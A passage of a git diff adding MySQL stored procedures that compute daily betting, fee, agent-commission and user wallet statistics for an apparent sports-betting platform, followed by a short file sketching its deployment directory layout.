EXISTS `matctDateCount`; +delimiter ;; +CREATE PROCEDURE `matctDateCount`() +BEGIN + SELECT @matchs:= COUNT(distinct t.match_id),@money:= IFNULL(SUM(t.money),0),@fee:= IFNULL(SUM(t.fee),0),@times:=COUNT(*),@person:=COUNT(distinct t.user_id) + FROM t_order_item t WHERE date_format(t.begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + SELECT @allSport:=COUNT(*) FROM t_sports_item WHERE date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + + INSERT INTO t_sprot_date + (time,sport_number,bet_sport,bet_money,fee,bet_times,bet_person) + VALUES + (DATE_SUB(CURDATE(),INTERVAL 1 DAY),@allSport,@matchs,@money,@fee,@times,@person); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for recordAgentbetDate +-- ---------------------------- +DROP PROCEDURE IF EXISTS `recordAgentbetDate`; +delimiter ;; +CREATE PROCEDURE `recordAgentbetDate`(IN d int,IN i int) +BEGIN +DECLARE s INT DEFAULT 0; +DECLARE c INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE rtree VARCHAR(1024); + +DECLARE uids INT DEFAULT 0; +DECLARE rtrees VARCHAR(1024); + +DECLARE cu CURSOR FOR SELECT user_id,tree FROM t_app_user where user_id = i; +DECLARE cus CURSOR FOR SELECT user_id,tree FROM t_app_user where is_super_agent=1; + +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; +IF i <> 0 THEN + SELECT count(id) into c from t_agent_bet_date t where t.agent_id = i and t.create_time = DATE_SUB(CURDATE(), INTERVAL d DAY); + if c<>0 THEN + DELETE from t_agent_bet_date t where t.agent_id = i and t.create_time = DATE_SUB(CURDATE(), INTERVAL d DAY); + end if; + OPEN cu; + FETCH cu INTO uid,rtree; + WHILE s<>1 DO + SELECT + @betTimes := COUNT(*), + @betMoney := IFNULL( SUM( t.money ), 0 ), + @betperson := COUNT(DISTINCT ( t.user_id )), + @fee := IFNULL( SUM( t.fee ), 0 ), + @lose := IFNULL( SUM( t.money - t.earn * t.money ), 0 ), + @tax := SUM(IF( t.earn = 1, t.money *( 100+t.odd_percent )/ 100-t.fee, 0 )), + @wl := COUNT(t.earn ), + @win := IFNULL( SUM( IF ( earn = 1, t.fee - t.money, 0 )), 0 ) + FROM + t_order_item t + WHERE + date_format( t.update_time, '%y%m%d' )= DATE_SUB( CURDATE(), INTERVAL d DAY ) + AND ( t.`status` = 1 OR t.`status` = 4 ) + AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test = 0 and (u.tree = CONCAT(rtree,',',uid) or u.tree like CONCAT(rtree,',',uid,'%'))); + + INSERT INTO t_agent_bet_date + (create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee,agent_id) + VALUES (DATE_SUB(CURDATE(),INTERVAL d DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0),@fee,@wl,@lose,@win,uid); + FETCH cu INTO uid,rtree; + END WHILE; + CLOSE cu; +ELSE + OPEN cus; + FETCH cus INTO uids,rtrees; + WHILE s<>1 DO + SELECT + @betTimes := COUNT(*), + @betMoney := IFNULL( SUM( t.money ), 0 ), + @betperson := COUNT(DISTINCT ( t.user_id )), + @fee := IFNULL( SUM( t.fee ), 0 ), + @lose := IFNULL( SUM( t.money - t.earn * t.money ), 0 ), + @tax := SUM(IF( t.earn = 1, t.money *( 100+t.odd_percent )/ 100-t.fee, 0 )), + @wl := COUNT(t.earn ), + @win := IFNULL( SUM( IF ( earn = 1, t.fee - t.money, 0 )), 0 ) + FROM + t_order_item t + WHERE + date_format( t.update_time, '%y%m%d' )= DATE_SUB( CURDATE(), INTERVAL d DAY ) + AND ( t.`status` = 1 OR t.`status` = 4 ) + AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test = 0 and (u.tree = CONCAT(rtrees,',',uids) or u.tree like CONCAT(rtrees,',',uids,'%'))); + + INSERT INTO t_agent_bet_date + (create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee,agent_id) + VALUES (DATE_SUB(CURDATE(),INTERVAL d DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0),@fee,@wl,@lose,@win,uids); + FETCH cus INTO uids,rtrees; + END WHILE; + CLOSE cus; +END IF; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for RecordbetDate +-- ---------------------------- +DROP PROCEDURE IF EXISTS `RecordbetDate`; +delimiter ;; +CREATE PROCEDURE `RecordbetDate`(IN d int) +BEGIN + SELECT @betTimes:=COUNT(*),@betMoney:=IFNULL(SUM(t.money),0),@betperson:=COUNT(distinct (t.user_id)),@fee:=IFNULL(SUM(t.fee),0), @lose:=IFNULL(SUM(t.money-t.earn*t.money),0), + @tax:= SUM(IF(t.earn=1,t.money*(100+t.odd_percent)/100-t.fee,0)),@wl:=COUNT(t.earn),@win:=IFNULL(SUM(IF(earn=1,t.fee-t.money,0)),0) + FROM t_order_item t WHERE date_format(t.update_time,'%y%m%d')= DATE_SUB(CURDATE(),INTERVAL d DAY) AND (t.`status`=1 or t.`status`=4) AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test =0); + + INSERT INTO t_bet_date + (create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee) + VALUES + (DATE_SUB(CURDATE(),INTERVAL d DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0),@fee,@wl,@lose,@win); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for recordmatch +-- ---------------------------- +DROP PROCEDURE IF EXISTS `recordmatch`; +delimiter ;; +CREATE PROCEDURE `recordmatch`(IN d INT) +BEGIN + SELECT @matchs:= COUNT(distinct t.match_id),@money:= IFNULL(SUM(t.money),0),@fee:= IFNULL(SUM(t.fee),0),@times:=COUNT(*),@person:=COUNT(distinct t.user_id) + FROM t_order_item t WHERE date_format(t.begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL d DAY) AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test =0) AND (`status`=1 or `status`=4); + SELECT @allSport:=COUNT(*) FROM t_sports_item WHERE date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL d DAY); + SELECT @cancered:=COUNT(*) FROM t_sports_item WHERE date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL d DAY) AND status=0; + + INSERT INTO t_sprot_date + (time,sport_number,bet_sport,bet_money,fee,bet_times,bet_person,cancered) + VALUES + (DATE_SUB(CURDATE(),INTERVAL d DAY),@allSport,@matchs,@money,@fee,@times,@person,@cancered); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for RecorduserDate +-- ---------------------------- +DROP PROCEDURE IF EXISTS `RecorduserDate`; +delimiter ;; +CREATE PROCEDURE `RecorduserDate`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT user_id FROM t_app_user WHERE is_test=0; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL d DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @paymoney:= IFNULL(SUM(t.amount),0),@paytimes:= COUNT(*) FROM t_app_wallet_record t WHERE t.user_id =uid AND (t.type=1 OR t.type=10) AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @drwamoney:= IFNULL(SUM(t.amount),0) ,@drawtimes:= COUNT(*) FROM t_withdraw t WHERE t.user_id =uid AND t.status=1 AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @sdrawmoney:= IFNULL(SUM(t.amount),0),@sdrawtimes:= COUNT(*) FROM t_app_wallet_record t WHERE t.user_id=uid AND t.type=12 AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @betrealmoney:=IFNULL(SUM(t.money),0) ,@reward:=IFNULL(SUM(t.fee),0),@bettimes:=COUNT(*),@betwl:=IFNULL(SUM(t.earn),0) , + @tax:= SUM(IF(t.earn=1,t.money*(100+t.odd_percent)/100-t.fee,0)) FROM t_order_item t WHERE t.user_id =uid AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d') AND (t.status=1 or t.status=4); + SELECT @betmoney:=IFNULL(SUM(t.money),0) FROM t_order_item t WHERE t.user_id =uid AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @ordermoney:=IFNULL(SUM(t.money),0) FROM t_order_item t WHERE t.user_id =uid AND (t.status=0 or t.status=4); + SELECT @walletmoney:=t.money FROM t_wallet t WHERE t.user_id =uid; + + SELECT @rewardMoney:= IFNULL(SUM(t.amount),0) FROM t_app_wallet_record t WHERE t.user_id =uid AND type=3 AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + INSERT INTO user_date + (user_id,order_money,wallet_money,pay_money,pay_times,draw_money,draw_times,bet_money,bet_realmoney,reward,tax, win, win_times, lose_times, create_time) + VALUES + (uid,@ordermoney,@walletmoney,@paymoney,@paytimes,@drwamoney+@sdrawmoney,@drawtimes+@sdrawtimes,@betmoney,@betrealmoney,@rewardMoney,IFNULL(@tax,0),@reward-@betrealmoney ,(@bettimes+@betwl)/2,(@bettimes-@betwl)/2,curr); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/部署结构.txt b/部署结构.txt new file mode 100644 index 0000000..30fe085 --- /dev/null +++ b/部署结构.txt @@ -0,0 +1,17 @@ + +├── application-dev.yml +├── application.yml +├── echo2-api.jar +├── logs +├── nohup.out +└── upload + + + + +├── application-dev.yml +├── application.yml +├── echo2-admin.jar +├── logs +├── nohup.out +└── upload \ No newline at end of file